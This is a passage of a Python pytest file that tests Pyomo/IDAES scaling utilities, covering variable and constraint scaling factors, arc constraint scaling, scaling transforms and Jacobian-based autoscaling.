pyo.Var()\n\n    m.c_eq = pyo.Constraint(expr = m.x == m.y)\n    m.c_ineq = pyo.Constraint(expr = m.x <= m.y)\n    m.c_range = pyo.Constraint(expr = (0, m.x + m.y, 1))\n\n    sc.__scale_constraint(m.c_eq, 2)\n    assert isinstance(m.c_eq.expr, EqualityExpression)\n    sc.__scale_constraint(m.c_ineq, 0.5)\n    assert isinstance(m.c_ineq.expr, InequalityExpression)\n    sc.__scale_constraint(m.c_range, 10)\n    assert isinstance(m.c_range.expr, RangedExpression)\n\n\n@pytest.mark.unit\ndef test_scale_arcs():\n    m = pyo.ConcreteModel()\n    m.x = pyo.Var([1, 2, 3, 4])\n    m.y = pyo.Var([1, 2, 3, 4])\n\n    m.p1 = Port()\n    m.p1.add(m.x[1], name=\"x\")\n    m.p1.add(m.y[1], name=\"y\")\n\n    m.p = Port([2,3,4])\n    m.p[2].add(m.x[2], name=\"x\")\n    m.p[2].add(m.y[2], name=\"y\")\n    m.p[3].add(m.x[3], name=\"x\")\n    m.p[3].add(m.y[3], name=\"y\")\n    m.p[4].add(m.x[4], name=\"x\")\n    m.p[4].add(m.y[4], name=\"y\")\n\n    def arc_rule(b, i):\n        if i == 1:\n            return (m.p1, m.p[2])\n        elif i == 2:\n            return (m.p[3], m.p[4])\n\n    m.arcs = Arc([1,2], rule=arc_rule)\n\n    sc.set_scaling_factor(m.x, 10)\n    sc.set_scaling_factor(m.y, 20)\n    sc.set_scaling_factor(m.x[1], 5)\n\n    # make sure there is no error if the scaling is done with unexpanded arcs\n    sc.scale_arc_constraints(m)\n\n    # expand and make sure it works\n    pyo.TransformationFactory('network.expand_arcs').apply_to(m)\n    sc.scale_arc_constraints(m)\n    m.x[1] = 1\n    m.x[2] = 2\n    m.x[3] = 3\n    m.x[4] = 4\n    m.y[1] = 11\n    m.y[2] = 12\n    m.y[3] = 13\n    m.y[4] = 14\n\n    # for all the arc constraints the differnce is 1 the scale factor is the\n    # smallest scale factor for variables in a constraint.  Make sure the\n    # constraints are scaled as expected.\n    assert abs(m.arcs_expanded[1].x_equality.body()) == 5\n    assert abs(m.arcs_expanded[2].x_equality.body()) == 10\n    assert abs(m.arcs_expanded[1].y_equality.body()) == 20\n    assert abs(m.arcs_expanded[2].y_equality.body()) == 20\n\n@pytest.mark.unit\ndef test_map_scaling_factor(caplog):\n    m = pyo.ConcreteModel()\n    m.x = pyo.Var([1, 2, 3, 4])\n    sc.set_scaling_factor(m.x[1], 11)\n    sc.set_scaling_factor(m.x[2], 12)\n    sc.set_scaling_factor(m.x[3], 13)\n    caplog.set_level(logging.WARNING)\n    caplog.clear()\n    assert sc.map_scaling_factor(m.x.values(), warning=True) == 1\n    logrec = caplog.records[0]\n    assert logrec.levelno == logging.WARNING\n    assert \"scaling factor\" in logrec.message\n\n    assert sc.map_scaling_factor(m.x.values(), func=max) == 13\n    assert sc.map_scaling_factor(m.x.values(), default=20) == 11\n    with pytest.raises(TypeError):\n        sc.map_scaling_factor(m.x.values(), default=None)\n\n    # test min_scaling_factor with just calls map_scaling_factor\n    assert sc.min_scaling_factor(m.x.values()) == 1\n    assert sc.min_scaling_factor(m.x.values(), default=14) == 11\n\n\n@pytest.mark.unit\ndef test_propogate_indexed_scaling():\n    m = pyo.ConcreteModel()\n    m.b = pyo.Block()\n    m.a = pyo.Var()\n    m.x = pyo.Var([1,2,3], initialize=1e6)\n    m.y = pyo.Var([1,2,3], initialize=1e-8)\n    m.z = pyo.Var([1,2,3], initialize=1e-20)\n    @m.Constraint([1,2,3])\n    def c1(b, i):\n        return m.x[i] == 0\n    @m.Constraint([1,2,3])\n    def c2(b, i):\n        return m.y[i] == 0\n    m.b.w = pyo.Var([1,2,3], initialize=1e10)\n    m.b.c1 = pyo.Constraint(expr=m.b.w[1]==0)\n    m.b.c2 = pyo.Constraint(expr=m.b.w[2]==0)\n\n    sc.set_scaling_factor(m.a, 104)\n    sc.set_scaling_factor(m.b.c1, 14)\n\n    # Set sufix directly since set_scaling_factor also sets data objects\n    m.scaling_factor[m.x] = 11\n    m.scaling_factor[m.y] = 13\n    m.b.scaling_factor[m.b.w] = 16\n    m.scaling_factor[m.c1] = 14\n\n    for i in [1,2,3]:\n        assert sc.get_scaling_factor(m.x[i]) is None\n        assert sc.get_scaling_factor(m.y[i]) is None\n        assert sc.get_scaling_factor(m.z[i]) is None\n        assert sc.get_scaling_factor(m.b.w[i]) is None\n        assert sc.get_scaling_factor(m.c1[i]) is None\n        assert sc.get_scaling_factor(m.c2[i]) is None\n    assert sc.get_scaling_factor(m.x) == 11\n    assert sc.get_scaling_factor(m.y) == 13\n    assert sc.get_scaling_factor(m.z) is None\n    assert sc.get_scaling_factor(m.b.w) == 16\n    assert sc.get_scaling_factor(m.c1) == 14\n    assert sc.get_scaling_factor(m.c2) is None\n\n    sc.propagate_indexed_component_scaling_factors(m)\n    for i in [1,2,3]:\n        assert sc.get_scaling_factor(m.x[i]) is 11\n        assert sc.get_scaling_factor(m.y[i]) is 13\n        assert sc.get_scaling_factor(m.z[i]) is None\n        assert sc.get_scaling_factor(m.b.w[i]) is 16\n        assert sc.get_scaling_factor(m.c1[i]) is 14\n        assert sc.get_scaling_factor(m.c2[i]) is None\n\n@pytest.mark.unit\ndef test_calculate_scaling_factors():\n    r\"\"\"This tests the method to find and execute calculate_scaling_factors\n    methods, here we make sure they are found and run in a right order.  The\n    contents of specific calculate_scaling_factors methods will have to be\n    tested in the models they belong to.\n\n        m          To be correct:\n       / \\           f and g are before e\n      a   b          c and d are before a\n     / \\   \\         e is before b\n    c   d   e        a and b are before m\n           / \\\n          f   g\n    \"\"\"\n    o = [] # list of compoent names in the order their calculate_scaling_factors\n           # method is called\n    def rule(blk):\n        # This rule for building a block just adds a calculate scaling factor\n        # function to the block, which adds the block name to the list o.  Then\n        # by looking at the order of entries in o, we can see the order in which\n        # the calculate_scaling_factors methods where called.\n        def ca():\n            o.append(blk.name)\n        blk.calculate_scaling_factors = ca\n    # Create blocks with the tree structure shown in the docstring\n    m = pyo.ConcreteModel(name=\"m\", rule=rule)\n    m.a = pyo.Block(rule=rule)\n    m.b = pyo.Block(rule=rule)\n    m.a.c = pyo.Block(rule=rule)\n    m.a.d = pyo.Block(rule=rule)\n    m.b.e = pyo.Block(rule=rule)\n    m.b.e.f = pyo.Block(rule=rule)\n    m.b.e.g = pyo.Block(rule=rule)\n    # Execute the calculate scaling factors methods.\n    sc.calculate_scaling_factors(m)\n    # We should iterate through the blocks in construction order so we can\n    # depend on the order that the calculate_scaling_factors() are called\n    # being deterministic, so we just need to check the specific expected order,\n    # even though there are additional \"correct\" orders.\n    assert tuple(o) == (\"a.c\", \"a.d\", \"a\", \"b.e.f\", \"b.e.g\", \"b.e\", \"b\", \"m\")\n\n\n@pytest.mark.unit\ndef test_set_get_unset(caplog):\n    \"\"\"Make sure the Jacobian from Pynumero matches expectation.  This is\n    mostly to ensure we understand the interface and catch if things change.\n    \"\"\"\n    m = pyo.ConcreteModel()\n    m.x = pyo.Var()\n    m.z = pyo.Var([1,2,3,4])\n    m.c1 = pyo.Constraint(expr=0 == m.x)\n    @m.Constraint([1,2,3,4])\n    def c2(b, i):\n        return b.z[i] == 0\n    m.ex = pyo.Expression(expr=m.x)\n\n    sc.set_scaling_factor(m.z, 10)\n    assert sc.get_scaling_factor(m.z) == 10\n    assert sc.get_scaling_factor(m.z[1]) == 10\n    assert sc.get_scaling_factor(m.z[2]) == 10\n    assert sc.get_scaling_factor(m.z[3]) == 10\n    assert sc.get_scaling_factor(m.z[4]) == 10\n    sc.unset_scaling_factor(m.z)\n    assert sc.get_scaling_factor(m.z) is None\n    assert sc.get_scaling_factor(m.z[1]) is None\n    assert sc.get_scaling_factor(m.z[2]) is None\n    assert sc.get_scaling_factor(m.z[3]) is None\n    assert sc.get_scaling_factor(m.z[4]) is None\n    sc.set_scaling_factor(m.z, 10, data_objects=False)\n    assert sc.get_scaling_factor(m.z) == 10\n    assert sc.get_scaling_factor(m.z[1]) is None\n    assert sc.get_scaling_factor(m.z[2]) is None\n    assert sc.get_scaling_factor(m.z[3]) is None\n    assert sc.get_scaling_factor(m.z[4]) is None\n    sc.set_scaling_factor(m.z, 10)\n    sc.unset_scaling_factor(m.z, data_objects=False)\n    assert sc.get_scaling_factor(m.z) is None\n    assert sc.get_scaling_factor(m.z[1]) == 10\n    assert sc.get_scaling_factor(m.z[2]) == 10\n    assert sc.get_scaling_factor(m.z[3]) == 10\n    assert sc.get_scaling_factor(m.z[4]) == 10\n    sc.unset_scaling_factor(m.z)\n\n    caplog.set_level(logging.WARNING)\n    caplog.clear()\n    assert sc.get_scaling_factor(m.z[1], warning=True) is None\n    assert sc.get_scaling_factor(m.z[1], warning=True, default=1) == 1\n    for i in [0, 1]: # two calls should be two log records\n        logrec = caplog.records[i]\n        assert logrec.levelno == logging.WARNING\n        assert \"scaling factor\" in logrec.message\n\n    # This one is a bit of a mystery, what do you really expect if you provide\n    # a default and ask for an exception.  I'll guess if you provide a default,\n    # your don't really want an exception.\n    assert sc.get_scaling_factor(m.z[1], exception=True, default=1) == 1\n\n    caplog.clear()\n    with pytest.raises(KeyError):\n        sc.get_scaling_factor(m.z[1], exception=True)\n    logrec = caplog.records[0]\n    assert logrec.levelno == logging.ERROR\n    assert \"scaling factor\" in logrec.message\n\n    # Okay it's pretty well tested, but make sure it works for constraints and\n    # expressions\n\n    sc.set_scaling_factor(m.x, 11)\n    sc.set_scaling_factor(m.ex, 2)\n    sc.set_scaling_factor(m.c1, 3)\n    sc.set_scaling_factor(m.c2, 4)\n\n    assert sc.get_scaling_factor(m.x) == 11\n    assert sc.get_scaling_factor(m.ex) == 2\n    assert sc.get_scaling_factor(m.c1) == 3\n    assert sc.get_scaling_factor(m.c2) == 4\n    assert sc.get_scaling_factor(m.c2[1]) == 4\n    assert sc.get_scaling_factor(m.c2[2]) == 4\n    assert sc.get_scaling_factor(m.c2[3]) == 4\n    assert sc.get_scaling_factor(m.c2[4]) == 4\n\n    # Check the underlying suffix\n    assert m.scaling_factor[m.x] == 11\n    assert m.scaling_factor[m.ex] == 2\n    assert m.scaling_factor[m.c1] == 3\n    assert m.scaling_factor[m.c2] == 4\n    assert m.scaling_factor[m.c2[1]] == 4\n    assert m.scaling_factor[m.c2[2]] == 4\n    assert m.scaling_factor[m.c2[3]] == 4\n    assert m.scaling_factor[m.c2[4]] == 4\n\n\n@pytest.mark.unit\ndef test_find_badly_scaled_vars():\n    m = pyo.ConcreteModel()\n    m.x = pyo.Var(initialize=1e6)\n    m.y = pyo.Var(initialize=1e-8)\n    m.z = pyo.Var(initialize=1e-20)\n    m.b = pyo.Block()\n    m.b.w = pyo.Var(initialize=1e10)\n\n    a = [id(v) for v, sv in sc.badly_scaled_var_generator(m)]\n    assert id(m.x) in a\n    assert id(m.y) in a\n    assert id(m.b.w) in a\n    assert id(m.z) not in a\n\n    m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n    m.b.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n    m.scaling_factor[m.x] = 1e-6\n    m.scaling_factor[m.y] = 1e6\n    m.scaling_factor[m.z] = 1\n    m.b.scaling_factor[m.b.w] = 1e-5\n\n    a = [id(v) for v, sv in sc.badly_scaled_var_generator(m)]\n    assert id(m.x) not in a\n    assert id(m.y) not in a\n    assert id(m.b.w) in a\n    assert id(m.z) not in a\n\n\n@pytest.mark.unit\ndef test_find_unscaled_vars_and_constraints():\n    m = pyo.ConcreteModel()\n    m.b = pyo.Block()\n    m.x = pyo.Var(initialize=1e6)\n    m.y = pyo.Var(initialize=1e-8)\n    m.z = pyo.Var(initialize=1e-20)\n    m.c1 = pyo.Constraint(expr=m.x==0)\n    m.c2 = pyo.Constraint(expr=m.y==0)\n    m.b.w = pyo.Var([1,2,3], initialize=1e10)\n    m.b.c1 = pyo.Constraint(expr=m.b.w[1]==0)\n    m.b.c2 = pyo.Constraint(expr=m.b.w[2]==0)\n    m.c3 = pyo.Constraint(expr=m.z==0)\n\n    sc.set_scaling_factor(m.x, 1)\n    sc.set_scaling_factor(m.b.w[1], 2)\n    sc.set_scaling_factor(m.c1, 1)\n    sc.set_scaling_factor(m.b.c1, 1)\n    sc.constraint_scaling_transform(m.c3, 1)\n\n    a = [id(v) for v in sc.unscaled_variables_generator(m)]\n    # Make sure we pick up the right variales\n    assert id(m.x) not in a\n    assert id(m.y) in a\n    assert id(m.z) in a\n    assert id(m.b.w[1]) not in a\n    assert id(m.b.w[2]) in a\n    assert id(m.b.w[3]) in a\n    assert len(a) == 4 #make sure we didn't pick up any other random stuff\n\n    a = [id(v) for v in sc.unscaled_constraints_generator(m)]\n    assert id(m.c1) not in a\n    assert id(m.b.c1) not in a\n    assert id(m.c2) in a\n    assert id(m.b.c2) in a\n    assert id(m.c3) not in a\n    assert len(a) == 2 #make sure we didn't pick up any other random stuff\n\n\nclass TestSingleConstraintScalingTransform():\n    @pytest.fixture(scope=\"class\")\n    def model(self):\n        m = pyo.ConcreteModel()\n        m.x = pyo.Var(initialize=500)\n        m.c1 = pyo.Constraint(expr=m.x <= 1e3)\n        m.c2 = pyo.Constraint(expr=m.x == 1e3)\n        m.c3 = pyo.Constraint(expr=m.x >= 1e3)\n        return m\n\n    @pytest.mark.unit\n    def test_unscaled_constraints(self, model):\n        assert model.c1.lower is None\n        assert model.c1.body is model.x\n        assert model.c1.upper.value == pytest.approx(1e3)\n        assert model.c2.lower.value == pytest.approx(1e3)\n        assert model.c2.body is model.x\n        assert model.c2.upper.value == pytest.approx(1e3)\n        assert model.c3.lower.value == pytest.approx(1e3)\n        assert model.c3.body is model.x\n        assert model.c3.upper is None\n\n    @pytest.mark.unit\n    def test_not_constraint(self, model):\n        with pytest.raises(TypeError):\n            sc.constraint_scaling_transform(model.x, 1)\n\n    @pytest.mark.unit\n    def test_less_than_constraint(self, model):\n        sc.constraint_scaling_transform(model.c1, 1e-3)\n        assert model.c1.lower is None\n        assert model.c1.body() == pytest.approx(model.x.value / 1e3)\n        assert model.c1.upper.value == pytest.approx(1)\n        assert sc.get_scaling_factor(model.c1) is None\n        sc.constraint_scaling_transform_undo(model.c1)\n        assert model.c1.lower is None\n        assert model.c1.body() == pytest.approx(model.x.value)\n        assert model.c1.upper.value == pytest.approx(1e3)\n\n    @pytest.mark.unit\n    def test_equality_constraint(self, model):\n        sc.constraint_scaling_transform(model.c2, 1e-3)\n        # Do transformation again to be sure that, despite being called twice in\n        # a row, the transformation only happens once.\n        sc.constraint_scaling_transform(model.c2, 1e-3)\n        assert model.c2.lower.value == pytest.approx(1)\n        assert model.c2.body() == pytest.approx(model.x.value / 1e3)\n        assert model.c2.upper.value == pytest.approx(1)\n        assert sc.get_constraint_transform_applied_scaling_factor(model.c2) is 1e-3\n\n        # Check overwrite protection\n        sc.constraint_scaling_transform(model.c2, 5, overwrite=False)\n        assert model.c2.lower.value == pytest.approx(1)\n        assert model.c2.body() == pytest.approx(model.x.value / 1e3)\n        assert model.c2.upper.value == pytest.approx(1)\n        assert sc.get_constraint_transform_applied_scaling_factor(model.c2) is 1e-3\n\n        sc.constraint_scaling_transform_undo(model.c2)\n        assert sc.get_constraint_transform_applied_scaling_factor(model.c2) is None\n        assert model.c2.lower.value == pytest.approx(1e3)\n        assert model.c2.body() == pytest.approx(model.x.value)\n        assert model.c2.upper.value == pytest.approx(1e3)\n\n    @pytest.mark.unit\n    def test_greater_than_constraint(self, model):\n        sc.constraint_scaling_transform(model.c3, 1e-3)\n        assert sc.get_scaling_factor(model.c3) == None\n        assert model.c3.lower.value == pytest.approx(1)\n        assert model.c3.body() == pytest.approx(model.x.value / 1e3)\n        assert model.c3.upper is None\n        sc.constraint_scaling_transform_undo(model.c3)\n        assert model.c3.lower.value == pytest.approx(1e3)\n        assert model.c3.body() == pytest.approx(model.x.value)\n\n\nclass TestScaleSingleConstraint():\n    @pytest.fixture(scope=\"class\")\n    def model(self):\n        m = pyo.ConcreteModel()\n        m.x = pyo.Var(initialize=500)\n        m.c1 = pyo.Constraint(expr=m.x <= 1e3)\n        m.c2 = pyo.Constraint(expr=m.x == 1e3)\n        m.c3 = pyo.Constraint(expr=m.x >= 1e3)\n        m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.scaling_factor[m.c1] = 1 / 1e3\n        m.scaling_factor[m.c2] = 1 / 1e3\n        m.scaling_factor[m.c3] = 1 / 1e3\n        return m\n\n    @pytest.mark.unit\n    def test_unscaled_constraints(self, model):\n        assert model.c1.lower is None\n        assert model.c1.body is model.x\n        assert model.c1.upper.value == pytest.approx(1e3)\n        assert model.c2.lower.value == pytest.approx(1e3)\n        assert model.c2.body is model.x\n        assert model.c2.upper.value == pytest.approx(1e3)\n        assert model.c3.lower.value == pytest.approx(1e3)\n        assert model.c3.body is model.x\n        assert model.c3.upper is None\n\n    @pytest.mark.unit\n    def test_not_constraint(self, model):\n        with pytest.raises(TypeError):\n            sc.scale_single_constraint(model.x)\n\n    @pytest.mark.unit\n    def test_less_than_constraint(self, model):\n        sc.scale_single_constraint(model.c1)\n        assert model.c1.lower is None\n        assert model.c1.body() == pytest.approx(model.x.value / 1e3)\n        assert model.c1.upper.value == pytest.approx(1)\n\n    @pytest.mark.unit\n    def test_equality_constraint(self, model):\n        sc.scale_single_constraint(model.c2)\n        assert model.c2.lower.value == pytest.approx(1)\n        assert model.c2.body() == pytest.approx(model.x.value / 1e3)\n        assert model.c2.upper.value == pytest.approx(1)\n\n    @pytest.mark.unit\n    def test_greater_than_constraint(self, model):\n        sc.scale_single_constraint(model.c3)\n        assert model.c3.lower.value == pytest.approx(1)\n        assert model.c3.body() == pytest.approx(model.x.value / 1e3)\n        assert model.c3.upper is None\n\n    @pytest.mark.unit\n    def test_scaling_factor_and_expression_replacement(self, model):\n        model.c4 = pyo.Constraint(expr=model.x <= 1e6)\n        model.scaling_factor[model.c4] = 1e-6\n        sc.scale_single_constraint(model.c4)\n        assert model.c4.upper.value == pytest.approx(1)\n        assert model.c4 not in model.scaling_factor\n\n    @pytest.fixture(scope=\"class\")\n    def model2(self):\n        m = pyo.ConcreteModel()\n        m.y = pyo.Var()\n        m.c = pyo.Constraint(expr=m.y <= 1e3)\n        return m\n\n    @pytest.mark.unit\n    def test_no_scaling_factor(self, model2):\n        model2.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        sc.scale_single_constraint(model2.c)\n        assert model2.c.upper.value == pytest.approx(1e3)\n\n\nclass TestScaleConstraintsPynumero():\n    def model(self):\n        m = pyo.ConcreteModel()\n        x = m.x = pyo.Var(initialize=1e3)\n        y = m.y = pyo.Var(initialize=1e6)\n        z = m.z = pyo.Var(initialize=1e4)\n        m.c1 = pyo.Constraint(expr=0 == -x * y + z)\n        m.c2 = pyo.Constraint(expr=0 == 3*x + 4*y + 2*z)\n        m.c3 = pyo.Constraint(expr=0 <= z**3)\n        return m\n\n\n    @pytest.mark.unit\n    def test_jacobian(self):\n        \"\"\"Make sure the Jacobian from Pynumero matches expectation.  This is\n        mostly to ensure we understand the interface and catch if things change.\n        \"\"\"\n        m = self.model()\n        assert number_activated_objectives(m) == 0\n        jac, jac_scaled, nlp = sc.constraint_autoscale_large_jac(m, no_scale=True)\n        assert number_activated_objectives(m) == 0\n\n        c1_row = nlp._condata_to_idx[m.c1]\n        c2_row = nlp._condata_to_idx[m.c2]\n        c3_row = nlp._condata_to_idx[m.c3]\n        x_col = nlp._vardata_to_idx[m.x]\n        y_col = nlp._vardata_to_idx[m.y]\n        z_col = nlp._vardata_to_idx[m.z]\n\n        assert jac[c1_row, x_col] == pytest.approx(-1e6)\n        assert jac[c1_row, y_col] == pytest.approx(-1e3)\n        assert jac[c1_row, z_col] == pytest.approx(1)\n\n        assert jac[c2_row, x_col] == pytest.approx(3)\n        assert jac[c2_row, y_col] == pytest.approx(4)\n        assert jac[c2_row, z_col] == pytest.approx(2)\n\n        assert jac[c3_row, z_col] == pytest.approx(3e8)\n\n        # Make sure scaling factors don't affect the result\n        sc.set_scaling_factor(m.c1, 1e-6)\n        sc.set_scaling_factor(m.x, 1e-3)\n        sc.set_scaling_factor(m.y, 1e-6)\n        sc.set_scaling_factor(m.z, 1e-4)\n        jac, jac_scaled, nlp = sc.constraint_autoscale_large_jac(m, no_scale=True)\n        assert jac[c1_row, x_col] == pytest.approx(-1e6)\n        # Check the scaled jacobian calculation\n        assert jac_scaled[c1_row, x_col] == pytest.approx(-1000)\n        assert jac_scaled[c1_row, y_col] == pytest.approx(-1000)\n        assert jac_scaled[c1_row, z_col] == pytest.approx(0.01)\n\n    @pytest.mark.unit\n    def test_scale_no_var_scale(self):\n        \"\"\"Make sure the Jacobian from Pynumero matches expectation.  This is\n        mostly to ensure we understand the interface and catch if things change.\n        \"\"\"\n        m = self.model()\n        jac, jac_scaled, nlp = sc.constraint_autoscale_large_jac(m)\n\n        c1_row = nlp._condata_to_idx[m.c1]\n        c2_row = nlp._condata_to_idx[m.c2]\n        c3_row = nlp._condata_to_idx[m.c3]\n        x_col = nlp._vardata_to_idx[m.x]\n        y_col = nlp._vardata_to_idx[m.y]\n        z_col = nlp._vardata_to_idx[m.z]\n\n        assert jac_scaled[c1_row, x_col] == pytest.approx(-100)\n        assert jac_scaled[c1_row, y_col] == pytest.approx(-0.1)\n        assert jac_scaled[c1_row, z_col] == pytest.approx(1e-4)\n        assert m.scaling_factor[m.c1] == pytest.approx(1e-4)\n\n        assert jac_scaled[c2_row, x_col] == pytest.approx(3)\n        assert jac_scaled[c2_row, y_col] == pytest.approx(4)\n        assert jac_scaled[c2_row, z_col] == pytest.approx(2)\n\n        assert jac_scaled[c3_row, z_col] == pytest.approx(3e2)\n\n    @pytest.mark.unit\n    def test_scale_with_var_scale(self):\n        \"\"\"Make sure the Jacobian from Pynumero matches expectation.  This is\n        mostly to ensure we understand the interface and catch if things change.\n        \"\"\"\n        m = self.model()\n        m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.scaling_factor[m.x] = 1e-3\n        m.scaling_factor[m.y] = 1e-6\n        m.scaling_factor[m.z] = 1e-4\n\n        jac, jac_scaled, nlp = sc.constraint_autoscale_large_jac(m)\n\n        c1_row = nlp._condata_to_idx[m.c1]\n        c2_row = nlp._condata_to_idx[m.c2]\n        c3_row = nlp._condata_to_idx[m.c3]\n        x_col = nlp._vardata_to_idx[m.x]\n        y_col = nlp._vardata_to_idx[m.y]\n        z_col = nlp._vardata_to_idx[m.z]\n\n        assert jac_scaled[c1_row, x_col] == pytest.approx(-1000)\n        assert jac_scaled[c1_row, y_col] == pytest.approx(-1000)\n        assert jac_scaled[c1_row, z_col] == pytest.approx(1e-2)\n        assert m.scaling_factor[m.c1] == pytest.approx(1e-6)\n\n        assert jac_scaled[c2_row, x_col] == pytest.approx(0.075)\n        assert jac_scaled[c2_row, y_col] == pytest.approx(100)\n        assert jac_scaled[c2_row, z_col] == pytest.approx(0.5)\n        assert m.scaling_factor[m.c2] == pytest.approx(2.5e-5)\n\n        assert jac_scaled[c3_row, z_col] == pytest.approx(3e6)\n        assert m.scaling_factor[m.c3] == pytest.approx(1e-6)\n\n\n    @pytest.mark.unit\n    def test_scale_with_ignore_var_scale(self):\n        \"\"\"Make sure the Jacobian from Pynumero matches expectation.  This is\n        mostly to ensure we understand the interface and catch if things change.\n        \"\"\"\n        m = self.model()\n        m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.scaling_factor[m.x] = 1e-3\n        m.scaling_factor[m.y] = 1e-6\n        m.scaling_factor[m.z] = 1e-4\n\n        jac, jac_scaled, nlp = sc.constraint_autoscale_large_jac(\n            m, ignore_variable_scaling=True)\n\n        c1_row = nlp._condata_to_idx[m.c1]\n        c2_row = nlp._condata_to_idx[m.c2]\n        c3_row = nlp._condata_to_idx[m.c3]\n        x_col = nlp._vardata_to_idx[m.x]\n        y_col = nlp._vardata_to_idx[m.y]\n        z_col = nlp._vardata_to_idx[m.z]\n\n        assert jac_scaled[c1_row, x_col] == pytest.approx(-100)\n        assert jac_scaled[c1_row, y_col] == pytest.approx(-0.1)\n        assert jac_scaled[c1_row, z_col] == pytest.approx(1e-4)\n        assert m.scaling_factor[m.c1] == pytest.approx(1e-4)\n\n        assert jac_scaled[c2_row, x_col] == pytest.approx(3)\n        assert jac_scaled[c2_row, y_col] == pytest.approx(4)\n        assert jac_scaled[c2_row, z_col] == pytest.approx(2)\n        assert m.scaling_factor[m.c2] == pytest.approx(1)\n\n        assert jac_scaled[c3_row, z_col] == pytest.approx(3e2)\n        assert m.scaling_factor[m.c3] == pytest.approx(1e-6)\n\n\n    @pytest.mark.unit\n    def test_scale_with_ignore_constraint_scale(self):\n        \"\"\"Make sure ignore_constraint_scaling ignores given scaling factors.\n        \"\"\"\n        m = pyo.ConcreteModel()\n        m.a = pyo.Var([1,2], initialize=1)\n        m.c = pyo.Constraint(expr=(0, m.a[1] + m.a[2], 1))\n        m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.scaling_factor[m.c] = 1e6\n\n        jac, jac_scaled, nlp = sc.constraint_autoscale_large_jac(\n            m, ignore_constraint_scaling=True)\n        assert m.scaling_factor[m.c] == pytest.approx(1)\n\n\n    @pytest.mark.unit\n    def test_condition_number(self):\n        \"\"\"Calculate the condition number of the Jacobian\n        \"\"\"\n        m = self.model()\n        m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.scaling_factor[m.x] = 1e-3\n        m.scaling_factor[m.y] = 1e-6\n        m.scaling_factor[m.z] = 1e-4\n        m.scaling_factor[m.c1] = 1e-6\n        m.scaling_factor[m.c2] = 1e-6\n        m.scaling_factor[m.c3] = 1e-12\n\n        n = sc.jacobian_cond(m, scaled=True)\n        assert n == pytest.approx(500, abs=200)\n        n = sc.jacobian_cond(m, scaled=False)\n        assert n == pytest.approx(7.5e7, abs=5e6)\n\n\n    @pytest.mark.unit\n    def test_scale_with_ignore_var_scale_constraint_scale(self):\n        \"\"\"Make sure the Jacobian from Pynumero matches expectation.  This is\n        mostly to ensure we understand the interface and catch if things change.\n        \"\"\"\n        m = self.model()\n        m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.scaling_factor[m.c1] = 1e-6\n        m.scaling_factor[m.x] = 1e-3\n        m.scaling_factor[m.y] = 1e-6\n        m.scaling_factor[m.z] = 1e-4\n\n        jac, jac_scaled, nlp = sc.constraint_autoscale_large_jac(\n            m, ignore_variable_scaling=True)\n\n        c1_row = nlp._condata_to_idx[m.c1]\n        c2_row = nlp._condata_to_idx[m.c2]\n        c3_row = nlp._condata_to_idx[m.c3]\n        x_col = nlp._vardata_to_idx[m.x]\n        y_col = nlp._vardata_to_idx[m.y]\n        z_col = nlp._vardata_to_idx[m.z]\n\n        assert jac_scaled[c1_row, x_col] == pytest.approx(-1)\n        assert jac_scaled[c1_row, y_col] == pytest.approx(-1e-3)\n        assert jac_scaled[c1_row, z_col] == pytest.approx(1e-6)\n        assert m.scaling_factor[m.c1] == pytest.approx(1e-6)\n\n        assert jac_scaled[c2_row, x_col] == pytest.approx(3)\n        assert jac_scaled[c2_row, y_col] == pytest.approx(4)\n        assert jac_scaled[c2_row, z_col] == pytest.approx(2)\n        assert m.scaling_factor[m.c2] == pytest.approx(1)\n\n        assert jac_scaled[c3_row, z_col] == pytest.approx(3e2)\n        assert m.scaling_factor[m.c1] == pytest.approx(1e-6)\n\n\nclass TestScaleConstraints():\n    @pytest.fixture(scope=\"class\")\n    def model(self):\n        m = pyo.ConcreteModel()\n        m.x = pyo.Var(initialize=1e3)\n        m.y = pyo.Var(initialize=1e6)\n        m.c1 = pyo.Constraint(expr=m.x == 1e3)\n        m.c2 = pyo.Constraint(expr=m.y == 1e6)\n        m.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.scaling_factor[m.c1] = 1e-3\n        m.scaling_factor[m.c2] = 1e-6\n\n        m.b1 = pyo.Block()\n        m.b1.c1 = pyo.Constraint(expr=m.x <= 1e9)\n        m.b1.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.b1.scaling_factor[m.b1.c1] = 1e-9\n\n        m.b1.b2 = pyo.Block()\n        m.b1.b2.c1 = pyo.Constraint(expr=m.x <= 1e12)\n        m.b1.b2.scaling_factor = pyo.Suffix(direction=pyo.Suffix.EXPORT)\n        m.b1.b2.scaling_factor[m.b1.b2.c1] = 1e-12\n\n        return m\n\n    @pytest.mark.unit\n    def test_scale_one_block(self, model):\n        sc.scale_constraints(model, descend_into=False)\n        # scaled\n        assert model.c1.lower.value == pytest.approx(1)\n        assert model.c1.body() == pytest.approx(model.x.value / 1e3)\n        assert model.c1.upper.value == pytest.approx(1)\n        assert model.c2.lower.value == pytest.approx(1)\n        assert model.c2.body() == pytest.approx(model.y.value / 1e6)\n        assert model.c2.upper.value == pytest.approx(1)\n        # unscaled\n        assert model.b1.c1.upper.value == pytest.approx(1e9)\n        assert model.b1.b2.c1.upper.value == pytest.approx(1e12)\n\n    @pytest.mark.unit\n    def test_scale_model(self, model):\n        sc.scale_constraints(model)\n        assert model.c1.upper.value == pytest.approx(1)\n        assert model.b1.c1.upper.value == pytest.approx(1)\n        assert model.b1.b2.c1.upper.value == pytest.approx(1)\n\n\nclass TestCacheVars():\n    @pytest.mark.unit\n    def test_cache_vars(self):\n        m = pyo.ConcreteModel()\n        val1 = 1\n        val2 = 2\n        m.v1 = pyo.Var(initialize=val1)\n        m.v2 = pyo.Var(initialize=val2)\n\n        varlist = [m.v1, m.v2]\n        varset = ComponentSet(varlist)\n\n        with sc.CacheVars(varlist) as cache:\n            assert cache.cache == 